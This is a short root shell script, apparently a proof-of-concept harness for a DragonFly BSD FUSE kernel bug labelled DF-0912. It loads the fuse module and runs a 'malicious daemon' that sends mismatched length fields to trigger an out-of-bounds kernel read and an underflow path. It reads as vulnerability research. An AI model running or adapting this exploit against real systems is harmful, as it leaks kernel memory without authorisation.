DF-0912 / run.sh
#!/bin/sh # DF-0912 run: load fuse, run the malicious daemon (root), capture the OOB leak # AND the underflow-path behavior. # Must be run as root on the DragonFly guest. set -u echo "=== DF-0912 run (OOB-read demo via claimed-len mismatch) ===" kldstat -v 2>/dev/null | grep -q -i fuse || kldload fuse || { echo "kldload fuse failed"; exit 1; } ls -l /dev/fuse echo "--- running malicious daemon (valid INIT, short STATFS, claimed ohd->len=96) ---" ./fused_df0912 echo "--- exit=$? ---" echo "" echo "=== DF-0912 run (underflow demo: claimed ohd->len=8 < 16) ===" ./fused_df0912 underflow echo "--- exit=$? ---" echo "" echo "--- daemon log tail ---" tail -60 /tmp/df0912_daemon.log 2>/dev/null |